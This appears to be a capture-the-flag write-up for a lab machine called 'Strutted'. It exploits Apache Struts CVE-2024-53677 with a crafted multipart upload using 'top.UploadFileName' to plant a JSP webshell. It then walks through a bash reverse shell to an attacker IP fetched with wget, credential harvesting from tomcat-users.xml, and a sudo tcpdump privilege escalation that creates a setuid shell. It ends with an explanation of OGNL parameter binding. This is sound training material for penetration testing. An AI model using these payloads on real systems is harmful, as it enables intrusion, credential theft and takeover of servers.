POST /uploads.action HTTP/1.1

Host: 127.0.0.1:8080

Connection: keep-alive

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq0PW93h6lyBzjZNZ

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Content-Length: 138

- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ

Content-Disposition: form-data; name="Upload";filename="1.txt"

Content-Type:  text/plain

y4tacker

- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ

Content-Disposition: form-data; name="Upload";filename="2.txt"

Content-Type:  text/plain

1

- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ--

top.UploadFileName

Enumeration

Two ports are open

Now use nikto to enumerate the website

No CGI

10.10.11.59 strutted.htb

Add 10.10.11.59 strutted.htb to /etc/hosts

View the website, manual enumeration

Opening the page reveals a

After downloading it we get a

strutted.zip Unzip with unzip strutted.zip

After extracting, we learn the application server running on the target is tomcat

Looking at the strutted folder, we see the application dependency file is pom.xml

Open pom.xml

The MVC framework is Apache Struts 6.3.0.1

Searching in a search engine yields a CVE ID of CVE-2024-53677

• --

According to github

git clone https://github.com/0xPThree/struts_cve-2024-53677.git

Required module

sudo apt install python3-requests-toolbelt

Try again

Viewing the source code, we can open burp

Running again succeeds

No vulnerability found

Note: The vulnerability was not found, but there is still a file upload vulnerability leading to RCE

• --

Foothold

Attempt manual upload

Carefully examining the downloaded file we can see the target can run .jsp files

The file also contains methods on how to detect if it's a png or other images: check the magic header. We can write the corresponding code after it

According to here and this payload

We should construct a similar form:

POST /uploads.action HTTP/1.1

Host: 127.0.0.1:8080

Connection: keep-alive

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq0PW93h6lyBzjZNZ

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Content-Length: 138

------WebKitFormBoundaryq0PW93h6lyBzjZNZ

Content-Disposition: form-data; name="Upload";filename="1.txt"

Content-Type:  text/plain

y4tacker

------WebKitFormBoundaryq0PW93h6lyBzjZNZ

Content-Disposition: form-data; name="Upload";filename="2.txt"

Content-Type:  text/plain

1

------WebKitFormBoundaryq0PW93h6lyBzjZNZ--

When we tried this, it seemed useless

At this point just change upload lowercase to uppercase Upload. (Explanation)

Test payload

http://strutted.htb/shell.jsp?action=cmd&cmd=id

Reverse shell

Attacker machine:

echo -ne '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.14.100/4444 0>&1"' > bash.sh

python3 -m http.server 80

nc -lvvp 4444

Target:

http://strutted.htb/shell.jsp?action=cmd&cmd=wget+10.10.14.100/bash.sh+-O+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/bash.sh

Finding files

cat conf/tomcat-users.xml → password="IT14d6SSP81k"

cat /etc/passwd | grep '/bin/bash' → User: james exists

SSH connection

ssh james@10.129.231.200

Privilege Escalation

sudo -l → /usr/sbin/tcpdump

GTFOBin query

COMMAND='cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root'

TF=$(mktemp)

echo "$COMMAND" > $TF

chmod +x $TF

sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

/tmp/bash_root -p

That's it

---

Explanation

Why change upload lowercase to uppercase Upload

Struts2 file upload is handled by an interceptor called FileUploadInterceptor. It executes a set of binding logic on each field of multipart/form-data before the request enters the Action.

Assuming the form has: <input type="file" name="upload">

Then Struts will try to find these properties in your Action class (here org.strutted.htb.Upload):

JavaBean/OGNL reflection uses capitalized method names (setUploadFileName) when matching setters, ultimately only UploadFileName can be routed to the correct setter (implementation differences require the uppercase form).

Why use top.UploadFileName?

top.UploadFileName is related to Struts's OGNL (Object-Graph Navigation Language) mechanism.

I. The Truth of Struts Parameter Binding

When Struts2 receives an HTTP request, it places all form fields and multipart fields into a ValueStack.

This stack is essentially an object hierarchy (usually with the currently executing Action at the top).

OGNL is responsible for parsing expressions and mapping request parameter names (such as "UploadFileName", "user.name", "top.UploadFileName")

to object properties.

For example:

• Parameter name "uploadFileName" → calls setUploadFileName(...);
• Parameter name "user.name" → calls getUser().setName(...);
• Parameter name "top.UploadFileName" → acts directly on the top object of the stack (the current Action), not on other objects in the stack.

II. Why Write It As

top.UploadFileName

In many real-world scenarios (especially in exploit scenarios or certain complex configurations), the Action is not the only object.

The ValueStack may also contain:

• Objects injected by interceptors (such as models, DTOs);
• Internal Maps (such as parameters, session, application);
• Even references to request / response.

When you write "UploadFileName" directly, OGNL searches from the top of the stack downward for the first object containing that property.

If a property with the same name exists in an upper-layer object, such as "parameters.UploadFileName", OGNL might bind to the wrong object.

Therefore—

top.UploadFileName is a way to "specify direction":

It tells OGNL "I don't want to search the stack; I want to directly modify the UploadFileName property of the top object (i.e., the Action itself)."

In exploit chains or penetration testing, this point is crucial because:

1. The target setter might only exist in the Action, not in internal models;
2. The attacker must ensure the OGNL expression is not accidentally intercepted by other layers;
3. Some RCE exploits (such as Struts2 S2-045 / S2-046) use top to access sensitive objects like actionContext, application, memberAccess.

• top is an OGNL keyword representing the top object of the ValueStack (usually the current Action).
• top.UploadFileName ensures that the Action's own property is modified, without interference from intermediate objects.
• In vulnerability exploitation or debugging, explicitly specifying top. is a form of "precision strike"—directly hitting the setter.